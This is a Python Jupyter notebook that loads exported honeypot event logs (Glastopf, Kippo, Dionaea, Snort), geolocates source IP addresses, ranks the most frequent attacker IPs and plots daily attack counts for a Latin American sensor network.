LATAM Honeypot Data Analysis.ipynb

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  {
   "cells": [
    {
     "cell_type": "heading",
     "level": 1,
     "metadata": {},
     "source": [
      "Analysis of distributed honeypot data"
     ]
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 1: Initialise and import the required modules/libraries."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%matplotlib inline\n",
      "import pandas as pd\n",
      "import json\n",
      "import pylab\n",
      "import sys\n",
      "pylab.rcParams[figure.figsize] = (16.0, 5.0)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "ename": "AttributeError",
       "evalue": "'function' object has no attribute 'figsize'",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mAttributeError\u001b[0m                            Traceback (most recent call last)",
        "\u001b[0;32m<ipython-input-50-2b4d1774b5e4>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[1;32m      4\u001b[0m \u001b[0;32mimport\u001b[0m \u001b[0mpylab\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m      5\u001b[0m \u001b[0;32mimport\u001b[0m \u001b[0msys\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 6\u001b[0;31m \u001b[0mpylab\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mrcParams\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mfigure\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mfigsize\u001b[0m\u001b[0;34m]\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m(\u001b[0m\u001b[0;36m16.0\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;36m5.0\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mAttributeError\u001b[0m: 'function' object has no attribute 'figsize'"
       ]
      }
     ],
     "prompt_number": 50
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 2: Open the JSON file containing all of our exported MHN data and append then prepare each honeypot data channel."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "f = open('LATAM_honeypot_data.json')\n",
      "count = 0\n",
      "glastopf = []\n",
      "kippo = []\n",
      "dionaea = []\n",
      "snort = []\n",
      "for line in f:\n",
      "    j = json.loads(line)\n",
      "    temp = []\n",
      "    temp.append(j[\"_id\"][\"$oid\"])\n",
      "    temp.append(j[\"ident\"])\n",
      "    temp.append(j[\"normalized\"])\n",
      "    temp.append(j[\"timestamp\"][\"$date\"])\n",
      "    temp.append(j[\"channel\"])\n",
      "    try:\n",
      "        payload = json.loads(j[\"payload\"])\n",
      "        if j[\"channel\"] == \"glastopf.events\":\n",
      "            temp.append(payload[\"pattern\"])\n",
      "            temp.append(payload[\"filename\"])\n",
      "            temp.append(payload[\"request_raw\"])\n",
      "            temp.append(payload[\"request_url\"])\n",
      "            temp.append(payload[\"source\"][0])\n",
      "            temp.append(payload[\"source\"][1])\n",
      "            glastopf.append(temp)\n",
      "        elif j[\"channel\"] == \"kippo.sessions\":\n",
      "            temp.append(payload[\"peerIP\"])\n",
      "            temp.append(payload[\"commands\"])\n",
      "            temp.append(payload[\"loggedin\"])\n",
      "            temp.append(payload[\"version\"])\n",
      "            temp.append(payload[\"urls\"])\n",
      "            temp.append(payload[\"hostPort\"])\n",
      "            temp.append(payload[\"session\"])\n",
      "            temp.append(payload[\"credentials\"])\n",
      "            temp.append(payload[\"commands\"])\n",
      "            kippo.append(temp)\n",
      "        elif j[\"channel\"] == \"dionaea.connections\":\n",
      "            temp.append(payload[\"local_host\"])\n",
      "            temp.append(payload[\"remote_hostname\"])\n",
      "            temp.append(payload[\"connection_transport\"])\n",
      "            temp.append(payload[\"remote_port\"])\n",
      "            temp.append(payload[\"remote_host\"])\n",
      "            temp.append(payload[\"connection_type\"])\n",
      "            temp.append(payload[\"connection_protocol\"])\n",
      "            temp.append(payload[\"local_port\"])\n",
      "            dionaea.append(temp)\n",
      "        elif j[\"channel\"] == \"snort.alerts\":\n",
      "            temp.append(payload[\"source_ip\"])\n",
      "            temp.append(payload[\"priority\"])\n",
      "            temp.append(payload[\"signature\"])\n",
      "            temp.append(payload[\"proto\"])\n",
      "            temp.append(payload[\"destination_port\"])\n",
      "            snort.append(temp)\n",
      "        else:\n",
      "            print j\n",
      "    except Exception as e:\n",
      "        print str(e)\n",
      "f.close()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-07T19:20:08.858+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fb4f6876a72d7572716788'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"2652\"}', u'channel': u'dionaea.capture'}\n",
        "Extra data: line 1 column 2 - line 1 column 88843 (char 1 - 88842)\n",
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-07T19:22:55.227+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fb500f76a72d7572716799'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"1795\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-07T19:26:24.747+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fb50e076a72d75727167a5'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"2244\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-07T19:29:42.156+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fb51a676a72d75727167b5'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"1253\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T01:39:28.987+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fba85076a72d7572716b4f'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"4252\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T01:45:30.165+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fba9ba76a72d7572716b61'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"3146\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'86837ebe-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T01:48:34.048+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fbaa7276a72d7572716b6d'}, u'payload': u'{\"dport\": \"445\", \"daddr\": \"172.31.45.155\", \"md5\": \"9be443d09b25157fcfbccb953f4a2cd4\", \"sha512\": \"679f8e802f038cbf6ccdc344f884a8314b798eaad89734571426d020ef6f980f6f03c5f5db6566851925b2e7e2a39ddceb51e3aa60ed94043842e19d5b6a6e24\", \"url\": \"smb://71.188.75.36\", \"saddr\": \"71.188.75.36\", \"sport\": \"1378\"}', u'channel': u'dionaea.capture'}\n"
       ]
      }
     ],
     "prompt_number": 51
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 3: The next step is to create a new dataframe for each of the honeypots and their respective data columns."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df = pd.DataFrame(glastopf, columns=['id','ident','normalized','timestamp','channel','pattern','filename','request_raw','request_url','attackerIP','attackerPort'])\n",
      "kippo_df = pd.DataFrame(kippo, columns=['id','ident','normalized','timestamp', 'channel', 'peerIP','commands','loggedin','version','urls','hostPort','session','credentials', 'commands'])\n",
      "dionaea_df = pd.DataFrame(dionaea, columns=['id','ident','normalized','timestamp','channel','local_host','remote_hostname','connection_transport','remote_port', 'remote_host', 'connection_type', 'connection_protocol', 'local_port'])\n",
      "snort_df = pd.DataFrame(snort, columns=['id', 'ident', 'normalized', 'timestamp', 'channel', 'source_ip', 'priority', 'signature', 'proto', 'destination_port'])"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 52
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 4: Clean up the data by converting the timestamp column from the data to a datetime data type."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['timestamp'] = glastopf_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))\n",
      "kippo_df['timestamp'] = kippo_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))\n",
      "dionaea_df['timestamp'] = dionaea_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))\n",
      "snort_df['timestamp'] = snort_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 53
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['timestamp'] = pd.to_datetime(glastopf_df['timestamp'])\n",
      "kippo_df['timestamp'] = pd.to_datetime(kippo_df['timestamp'])\n",
      "dionaea_df['timestamp'] = pd.to_datetime(dionaea_df['timestamp'])\n",
      "snort_df['timestamp'] = pd.to_datetime(snort_df['timestamp'])"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 54
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import GeoIP\n",
      "\n",
      "gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)\n",
      "\n",
      "glastopf_df['attackerCountry'] = glastopf_df['attackerIP'].apply(lambda x: gi.country_name_by_addr(x))\n",
      "kippo_df['attackerCountry'] = kippo_df['peerIP'].apply(lambda x: gi.country_name_by_addr(x))\n",
      "dionaea_df['attackerCountry'] = dionaea_df['remote_host'].apply(lambda x: gi.country_name_by_addr(x))\n",
      "snort_df['attackerCountry'] = snort_df['source_ip'].apply(lambda x: gi.country_name_by_addr(x))"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 55
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 5: Place all of our attacker IP address from the various honeypots into a single array."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['allattackerIP'] = glastopf_df['attackerIP']\n",
      "kippo_df['allattackerIP'] = kippo_df['peerIP']\n",
      "dionaea_df['allattackerIP'] = dionaea_df['remote_host']\n",
      "snort_df['allattackerIP'] = snort_df['source_ip']\n",
      "\n",
      "glastopf_df['allattackedPorts'] = glastopf_df['attackerPort']\n",
      "kippo_df['allattackedPorts'] = kippo_df['hostPort']\n",
      "dionaea_df['allattackedPorts'] = dionaea_df['local_port']\n",
      "snort_df['allattackedPorts'] = snort_df['destination_port']"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 56
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 6: Create a new dataframe that has some information which is common the the dataframes created above."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "cols = ['channel','timestamp','allattackerIP', 'allattackedPorts', 'attackerCountry', 'ident']\n",
      "\n",
      "attacker_df = pd.DataFrame()\n",
      "attacker_df = attacker_df.append(glastopf_df[cols], ignore_index=True)\n",
      "attacker_df = attacker_df.append(kippo_df[cols], ignore_index=True)\n",
      "attacker_df = attacker_df.append(dionaea_df[cols], ignore_index=True)\n",
      "attacker_df = attacker_df.append(snort_df[cols], ignore_index=True)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 57
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 7: Reindex our data by timeseries/timestamp"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df = attacker_df.set_index('timestamp')"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 58
    },
    {
     "cell_type": "heading",
     "level": 2,
     "metadata": {},
     "source": [
      "Now, we can start to visualize our data."
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "View the top 20 IP Addresses which attacked our honeypots most often."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['allattackerIP'].value_counts().head(20)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 59,
       "text": [
        "5.189.190.182      619\n",
        "192.187.100.18     287\n",
        "88.150.240.125     202\n",
        "173.255.221.243     67\n",
        "37.75.215.47        54\n",
        "60.169.79.109       47\n",
        "222.186.58.183      30\n",
        "62.75.222.235       28\n",
        "69.30.254.10        26\n",
        "222.186.58.177      24\n",
        "104.149.88.197      24\n",
        "61.146.235.122      24\n",
        "162.213.25.67       22\n",
        "61.155.202.111      20\n",
        "60.169.79.93        20\n",
        "180.210.234.87      20\n",
        "218.77.79.43        19\n",
        "195.154.33.126      19\n",
        "115.231.218.131     18\n",
        "107.160.36.147      16\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 59
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "This is a graph plotting the total attacks over time."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('LATAM Region - Total Events Over Time', fontsize=20)\n",
      "plt.plot(attacker_df['allattackerIP'].resample(\"D\", how='count'),linewidth=4,c=\"DarkOrange\", label=\"Total Attacks\")\n",
      "plt.legend(bbox_to_anchor=(1.15, 1), loc=2, borderaxespad=1.)  \n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.margins(0.03)\n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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